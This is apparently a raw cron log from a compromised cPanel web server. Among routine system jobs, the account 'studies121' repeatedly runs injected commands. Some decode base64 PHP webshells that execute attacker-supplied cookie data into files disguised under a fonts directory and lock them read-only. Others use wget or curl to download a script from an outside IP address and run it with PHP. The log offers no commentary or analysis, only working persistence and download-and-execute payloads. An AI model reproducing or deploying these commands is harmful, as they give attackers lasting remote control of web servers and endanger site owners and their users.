Aug 30 12:06:01 ip-184-168-122-23 CROND[9487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:06:01 ip-184-168-122-23 CROND[9488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:06:01 ip-184-168-122-23 CROND[9490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:06:01 ip-184-168-122-23 CROND[9491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:06:01 ip-184-168-122-23 CROND[9492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:07:01 ip-184-168-122-23 CROND[9724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:07:01 ip-184-168-122-23 CROND[9723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:07:01 ip-184-168-122-23 CROND[9725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:07:01 ip-184-168-122-23 CROND[9728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:08:01 ip-184-168-122-23 CROND[9907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:08:01 ip-184-168-122-23 CROND[9908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:08:01 ip-184-168-122-23 CROND[9909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:08:01 ip-184-168-122-23 CROND[9911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:08:01 ip-184-168-122-23 CROND[9910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:09:01 ip-184-168-122-23 CROND[10175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:09:01 ip-184-168-122-23 CROND[10178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:09:01 ip-184-168-122-23 CROND[10177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:09:01 ip-184-168-122-23 CROND[10180]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 12:09:01 ip-184-168-122-23 CROND[10179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:10:01 ip-184-168-122-23 CROND[10449]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:10:01 ip-184-168-122-23 CROND[10452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:10:01 ip-184-168-122-23 CROND[10456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:10:01 ip-184-168-122-23 CROND[10454]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:10:01 ip-184-168-122-23 CROND[10453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:10:01 ip-184-168-122-23 CROND[10458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:10:01 ip-184-168-122-23 CROND[10455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:10:01 ip-184-168-122-23 CROND[10457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:11:01 ip-184-168-122-23 CROND[10729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:11:01 ip-184-168-122-23 CROND[10728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:11:01 ip-184-168-122-23 CROND[10730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:11:01 ip-184-168-122-23 CROND[10731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:12:01 ip-184-168-122-23 CROND[10962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:12:01 ip-184-168-122-23 CROND[10964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:12:01 ip-184-168-122-23 CROND[10963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:12:01 ip-184-168-122-23 CROND[10965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:12:01 ip-184-168-122-23 CROND[10966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:13:01 ip-184-168-122-23 CROND[11095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:13:01 ip-184-168-122-23 CROND[11097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:13:01 ip-184-168-122-23 CROND[11096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:13:01 ip-184-168-122-23 CROND[11099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:14:01 ip-184-168-122-23 CROND[11257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:14:01 ip-184-168-122-23 CROND[11259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:14:01 ip-184-168-122-23 CROND[11262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:14:01 ip-184-168-122-23 CROND[11261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:14:01 ip-184-168-122-23 CROND[11265]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:15:01 ip-184-168-122-23 CROND[11361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:15:01 ip-184-168-122-23 CROND[11362]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 30 12:15:01 ip-184-168-122-23 CROND[11363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:15:01 ip-184-168-122-23 CROND[11365]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 12:15:01 ip-184-168-122-23 CROND[11366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:15:01 ip-184-168-122-23 CROND[11369]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:15:01 ip-184-168-122-23 CROND[11367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:15:01 ip-184-168-122-23 CROND[11371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:16:01 ip-184-168-122-23 CROND[11495]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:16:01 ip-184-168-122-23 CROND[11496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:16:01 ip-184-168-122-23 CROND[11499]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 12:16:01 ip-184-168-122-23 CROND[11498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:16:01 ip-184-168-122-23 CROND[11497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:16:01 ip-184-168-122-23 CROND[11500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:17:01 ip-184-168-122-23 CROND[11618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:17:01 ip-184-168-122-23 CROND[11616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:17:01 ip-184-168-122-23 CROND[11617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:17:01 ip-184-168-122-23 CROND[11619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:18:01 ip-184-168-122-23 CROND[11712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
